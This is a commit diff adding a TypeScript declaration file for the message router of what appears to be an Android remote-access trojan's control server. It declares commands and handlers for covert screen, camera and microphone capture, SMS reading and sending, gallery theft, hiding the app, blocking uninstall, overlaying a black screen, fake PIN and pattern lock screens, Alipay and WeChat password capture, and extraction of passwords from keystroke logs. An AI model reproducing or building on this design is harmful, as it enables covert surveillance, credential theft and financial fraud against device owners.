This commit is contained in:
wdvipa
2026-02-09 16:34:01 +08:00
commit 450367dea2
92 changed files with 36822 additions and 0 deletions

400
dist/services/MessageRouter.d.ts vendored Normal file
View File

@@ -0,0 +1,400 @@
import DeviceManager from '../managers/DeviceManager';
import WebClientManager from '../managers/WebClientManager';
import { DatabaseService } from './DatabaseService';
/**
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
deviceId: string;
data: any;
timestamp: number;
}
/**
* 操作日志消息接口
*/
export interface OperationLogMessage {
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: number;
}
/**
* 屏幕数据接口
*/
export interface ScreenData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
data: Buffer | string;
width: number;
height: number;
quality: number;
timestamp: number;
isLocked?: boolean;
}
/**
* 摄像头数据接口
*/
export interface CameraData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264';
data: string;
type: 'camera';
timestamp: number;
}
/**
* 相册图片数据接口(设备发送)
*/
export interface GalleryImageData {
deviceId: string;
type: 'gallery_image';
timestamp: number;
index: number;
id: number | string;
displayName?: string;
dateAdded?: number;
mimeType?: string;
width?: number;
height?: number;
size?: number;
contentUri?: string;
format: 'JPEG' | 'PNG';
data: string;
}
/**
* 麦克风音频数据接口(设备发送)
*/
export interface MicrophoneAudioData {
deviceId: string;
type: 'microphone_audio';
timestamp: number;
audioData: string;
sampleRate: number;
sampleCount: number;
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
channels: number;
bitDepth: number;
}
/**
* 短信数据接口
*/
export interface SmsData {
deviceId: string;
type: 'sms_data';
timestamp: number;
count: number;
smsList: SmsItem[];
}
/**
* 短信项接口
*/
export interface SmsItem {
id: number;
address: string;
body: string;
date: number;
read: boolean;
type: number;
}
/**
* 消息路由服务 - 增强版,包含内存管理
*/
export declare class MessageRouter {
private logger;
private deviceManager;
private webClientManager;
private databaseService;
private screenDataBuffer;
private cameraDataBuffer;
private smsDataBuffer;
private microphoneAudioBuffer;
private readonly maxBufferSize;
private readonly bufferTimeout;
private readonly maxDataSize;
private lastCleanupTime;
private readonly cleanupInterval;
private routedFrames;
private droppedFrames;
private totalDataSize;
private routedCameraFrames;
private droppedCameraFrames;
private totalCameraDataSize;
private routedSmsData;
private droppedSmsData;
private totalSmsDataSize;
private routedMicrophoneAudio;
private droppedMicrophoneAudio;
private totalMicrophoneAudioSize;
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
/**
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
*/
private sendLocalGalleryToClient;
/**
* 🔧 启动定期清理任务
*/
private startPeriodicCleanup;
/**
* 🔧 定期清理过期数据
*/
private performPeriodicCleanup;
/**
* 🚨 紧急内存清理
*/
private performEmergencyCleanup;
/**
* 路由控制消息从Web客户端到设备
*/
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
/**
* 路由屏幕数据从设备到Web客户端- 增强版,包含内存管理
*/
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
/**
* 重试路由屏幕数据
*/
private retryRouteScreenData;
/**
* 路由摄像头数据从设备到Web客户端- 模仿routeScreenData实现
*/
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
/**
* 重试路由摄像头数据
*/
private retryRouteCameraData;
/**
* 路由相册图片数据不保存到磁盘直接转发base64给客户端
*/
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
/**
* 路由麦克风音频数据从设备到Web客户端
*/
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
/**
* 重试路由麦克风音频数据
*/
private retryRouteMicrophoneAudio;
/**
* 路由短信数据从设备到Web客户端
*/
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
/**
* 重试路由短信数据
*/
private retryRouteSmsData;
/**
* 路由设备事件从设备到Web客户端
*/
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 路由客户端事件从Web客户端到其他客户端或设备
*/
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 处理设备控制请求
*/
private handleDeviceControlRequest;
/**
* 处理设备控制释放
*/
private handleDeviceControlRelease;
/**
* 处理设备列表请求
*/
private handleDeviceListRequest;
/**
* 处理操作日志(从设备接收)
*/
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
/**
* 处理获取操作日志请求
*/
private handleGetOperationLogs;
/**
* 处理清空操作日志请求
*/
private handleClearOperationLogs;
/**
* 处理获取设备密码请求
*/
private handleGetDevicePassword;
/**
* 处理保存设备密码请求
*/
private handleSaveDevicePassword;
/**
* 处理更新设备状态请求
*/
private handleUpdateDeviceState;
/**
* 处理获取设备状态请求
*/
private handleGetDeviceState;
/**
* 广播消息到所有相关方
*/
broadcastMessage(eventType: string, data: any): void;
/**
* 获取路由统计信息
*/
getRouterStats(): {
totalDevices: number;
totalClients: number;
activeControlSessions: number;
};
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
private handleDeviceLoggingStateChanged;
private restoreDeviceState;
private handleSearchPasswordsFromLogs;
/**
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
*/
private extractPasswordCandidatesWithMeta;
/**
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
*/
private extractPasswordCandidates;
/**
* ✅ 新增:从密码内容检测密码类型
*/
private detectPasswordTypeFromContent;
/**
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
*/
private isPossiblePasswordEnhanced;
/**
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
*/
private isPossiblePassword;
/**
* ✅ 刷新所有web客户端的设备列表
*/
private refreshAllWebClientDeviceLists;
/**
* ✅ 同步设备状态到设备端
*/
private syncDeviceStateToDevice;
/**
* 处理删除设备请求
*/
private handleDeleteDevice;
/**
* 获取设备UI层次结构
*/
private handleGetUIHierarchy;
/**
* 处理设备UI层次结构响应
*/
private handleUIHierarchyResponse;
/**
* 路由UI层次结构响应从设备到Web客户端- 参考routeScreenData的模式
*/
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
/**
* 🆕 处理开始提取确认坐标的请求
*/
private handleStartExtractConfirmCoords;
/**
* 🆕 处理保存确认坐标的请求
*/
private handleSaveConfirmCoords;
/**
* 🆕 处理启用黑屏遮盖的请求
*/
private handleEnableBlackScreen;
/**
* 🆕 处理取消黑屏遮盖的请求
*/
private handleDisableBlackScreen;
/**
* 🆕 处理打开应用设置的请求
*/
private handleOpenAppSettings;
/**
* 🆕 处理隐藏应用的请求
*/
private handleHideApp;
/**
* 🆕 处理应用隐藏状态更新来自Android端的状态报告
*/
private handleAppHideStatusUpdate;
/**
* 🆕 处理显示应用的请求
*/
private handleShowApp;
/**
* 🆕 处理关闭配置遮盖的请求
*/
private handleCloseConfigMask;
/**
* 🆕 处理重新获取投屏权限请求
*/
private handleRefreshMediaProjectionPermission;
/**
* 🆕 路由权限申请响应
*/
routePermissionResponse(socketId: string, permissionData: any): boolean;
/**
* 💰 路由支付宝密码数据
*/
routeAlipayPassword(socketId: string, passwordData: any): boolean;
/**
* 💬 路由微信密码数据
*/
routeWechatPassword(socketId: string, passwordData: any): boolean;
/**
* 🔐 路由通用密码输入数据
*/
routePasswordInput(socketId: string, passwordData: any): boolean;
/**
* 🔍 路由支付宝检测启动指令
*/
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 💬 路由微信检测启动指令
*/
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 🆕 处理MediaProjection权限申请响应
*/
private handleMediaProjectionPermissionResponse;
/**
* 🛡️ 处理启用防止卸载保护的请求
*/
private handleEnableUninstallProtection;
/**
* 🛡️ 处理禁用防止卸载保护的请求
*/
private handleDisableUninstallProtection;
/**
* 处理相册权限检查请求
*/
private handleGalleryPermissionCheck;
/**
* 处理相册读取请求
*/
private handleAlbumRead;
/**
* 处理设备解锁请求
*/
private handleUnlockDevice;
/**
* 🔐 处理打开6位PIN输入界面的请求
*/
private handleOpenPinInput;
/**
* 🔐 处理打开4位密码输入界面的请求
*/
private handleOpenFourDigitPin;
/**
* 🔐 处理打开图形密码输入界面的请求
*/
private handleOpenPatternLock;
/**
* 处理修改服务器地址请求
*/
private handleChangeServerUrl;
}
export default MessageRouter;
//# sourceMappingURL=MessageRouter.d.ts.map